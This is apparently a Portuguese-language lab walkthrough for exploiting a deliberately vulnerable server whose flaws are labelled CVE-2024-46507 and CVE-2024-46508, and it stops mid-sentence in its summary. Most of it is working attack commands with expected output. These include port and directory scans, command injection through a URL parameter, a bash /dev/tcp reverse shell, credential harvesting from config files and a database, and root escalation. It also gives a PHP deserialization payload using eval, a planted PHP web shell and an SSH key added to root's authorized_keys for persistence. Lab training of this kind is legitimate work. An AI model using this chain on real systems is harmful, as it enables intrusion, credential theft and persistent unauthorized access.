somchandra17/cve-2024-46507build-script para CVE-2024-46507 e CVE-2024-46508
Este walkthrough guia você na exploração do servidor vulnerável contendo as vulnerabilidades CVE-2024-46507 (injeção de comandos) e CVE-2024-46508 (bypass de autenticação).
Primeiro, vamos exportar o endereço IP do alvo como uma variável. Substitua pelo IP real do seu alvo:
export TARGET="192.168.65.129"
Vamos começar identificando serviços abertos no alvo:
# Varredura inicial rápida em portas comuns
sudo nmap -sS -T4 $TARGET
# Varredura completa de portas para garantir que não percamos nada
sudo nmap -sS -p- -T4 $TARGET
# Varredura detalhada das portas descobertas com detecção de versão de serviço
sudo nmap -sV -sC -p22,80,9000 $TARGET -oN nmap_results.txt
Saída esperada da varredura detalhada:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-03 19:00 EST
Nmap scan report for 192.168.65.129
Host is up (0.00042s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a8:01:a0:e9:f8:75:ca:9a:4b:40:ad:32:4f:2e:e2:f0 (RSA)
| 256 40:d9:27:46:6e:20:4c:84:d8:4e:3d:5a:07:84:19:91 (ECDSA)
|_ 256 68:b9:1f:99:50:15:29:2f:be:da:93:1d:d9:03:da:18 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
9000/tcp open http SimpleHTTPServer 0.6 (Python 3.8.10)
|_http-title: Vulnerable Application
|_http-server-header: SimpleHTTP/0.6 Python/3.8.10
MAC Address: 00:0C:29:AD:B8:5D (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Vamos explorar a aplicação web nas portas descobertas:
# Verificar porta 80 (Apache)
firefox http://$TARGET/
# Verificar porta 9000 (Servidor Python SimpleHTTP)
firefox http://$TARGET:9000/
Ambos apontam para o mesmo conteúdo da aplicação. Vamos descobrir mais sobre a estrutura da aplicação:
# Usar gobuster para encontrar diretórios e arquivos
gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
Saída esperada:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.65.129
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 805]
/api (Status: 301) [Size: 0] [--> /api/]
Vamos verificar o que há no diretório API:
# Usar gobuster para encontrar endpoints da API
gobuster dir -u http://$TARGET:9000/api/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
Ou você pode simplesmente abri-lo no navegador.
Saída esperada:
/process.php (Status: 200)
A partir do nosso reconhecimento, descobrimos o endpoint /api/process.php. A interface web mostra um formulário que envia para este endpoint com um parâmetro "command".
Vamos testar a injeção de comandos:
# Testar com um comando simples
curl "http://$TARGET:9000/api/process.php?command=id"
Saída esperada:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Sucesso! A aplicação está executando nossos comandos. Vamos verificar o que mais podemos acessar:
# Listar conteúdo do diretório
curl "http://$TARGET/api/process.php?command=ls+-la"
# Explorar o sistema
curl "http://$TARGET/api/process.php?command=cat+/etc/passwd"
Saída:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin uuidd:x:106:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:107:113::/nonexistent:/usr/sbin/nologin som:x:1000:1000:0xs0m,,,:/home/som:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin sshd:x:108:65534::/run/sshd:/usr/sbin/nologin mysql:x:109:118:MySQL Server,,,:/nonexistent:/bin/false
Agora, vamos obter um reverse shell. Primeiro, configure um listener na sua máquina Kali:
# Iniciar um listener netcat
nc -lvnp 4444
Em seguida, envie um comando de reverse shell:
# Codificar URL do payload do reverse shell
# Original: bash -c 'bash -i >& /dev/tcp/YOUR_KALI_IP/4444 0>&1'
# Substitua YOUR_KALI_IP pelo IP real da sua máquina Kali
curl -G --data-urlencode "command=bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'" http://$TARGET/api/process.php
Agora você deve ter um shell como o usuário www-data! Vamos fazer upgrade para um shell melhor:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Pressione Ctrl+Z para colocar o shell em segundo plano
# Em seguida, no seu terminal Kali:
stty raw -echo; fg
# Pressione Enter duas vezes
Agora que temos um shell, vamos verificar arquivos sensíveis:
# Verificar configuração da aplicação
cat /opt/vulnerable-app/config/app.conf
cat /opt/vulnerable-app/config/auth.conf
Descobrimos credenciais padrão:
Vamos verificar se há credenciais de banco de dados:
# Procurar por credenciais de banco de dados
find /opt/vulnerable-app -type f -exec grep -l "password" {} \;
Isso deve revelar os detalhes de conexão do banco de dados. Vamos acessar o banco:
# Conectar ao MariaDB
mysql -u vulnuser -p'password123' vulnapp
Uma vez conectado, vamos explorar o banco de dados:
-- Mostrar tabelas
SHOW TABLES;
-- Visualizar tabela de usuários
SELECT * FROM users;
Devemos encontrar um usuário admin com a senha "supersecretpassword". Vamos tentar usar isso para obter acesso root:
# Tentar trocar para root
su root
# Digite a senha: supersecretpassword
Se o método su não funcionar, vamos verificar outros vetores de escalação de privilégio:
# Verificar permissões sudo
sudo -l
# Verificar binários SUID
find / -perm -u=s -type f 2>/dev/null
# Verificar cron jobs
cat /etc/crontab
ls -la /etc/cron*
Um método adicional é tentar acesso SSH com as credenciais descobertas:
# A partir da sua máquina Kali
ssh root@$TARGET
# Digite a senha: supersecretpassword
Assim que tivermos acesso root, devemos encontrar a flag:
# Procurar por arquivos de flag
find / -name "*.txt" 2>/dev/null | grep -v "proc"
# Ler a flag
cat /root/flag.txt
Saída esperada:
f1a9d4c2b7e35680d2f1a9c3b7d45e80
A aplicação também é vulnerável a ataques de desserialização PHP. Vamos criar um objeto serializado malicioso:
<?php
// Salvar como exploit.php na sua máquina Kali
class Exploit {
public $command = 'system("cat /root/flag.txt");';
public function __destruct() {
eval($this->command);
}
}
$exploit = new Exploit();
echo base64_encode(serialize($exploit));
?>
Gerar o payload:
php exploit.php
Isso gerará um objeto serializado codificado em base64. Vamos enviá-lo para o servidor:
# Salvar a saída do comando anterior como PAYLOAD
curl -X POST -d "data=PAYLOAD" http://$TARGET/api/process.php
O servidor deve executar nosso código e exibir a flag.
Para um ponto de apoio mais permanente, podemos criar um web shell:
# Como usuário www-data, criar um web shell PHP
echo '<?php system($_GET["cmd"]); ?>' > /opt/vulnerable-app/webroot/shell.php
# Acessar a partir do Kali
curl "http://$TARGET/shell.php?cmd=id"
Também podemos adicionar uma chave SSH para acesso root persistente:
# No Kali, gerar um par de chaves SSH
ssh-keygen -t rsa -f vulnserver_key
# No alvo, como root, adicionar nossa chave pública
mkdir -p /root/.ssh
echo "YOUR_PUBLIC_KEY_HERE" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# Em seguida, conectar a partir do Kali
ssh -i vulnserver_key root@$TARGET
Este servidor era vulnerável a dois problemas principais:
CVE-2024-46507: Vulnerabilidade de injeção de comandos no endpoint process.php da API que nos permitiu executar comandos arbitrários.
CVE-2024-46508: Bypass de autenticação e escalação de privilégio devido a: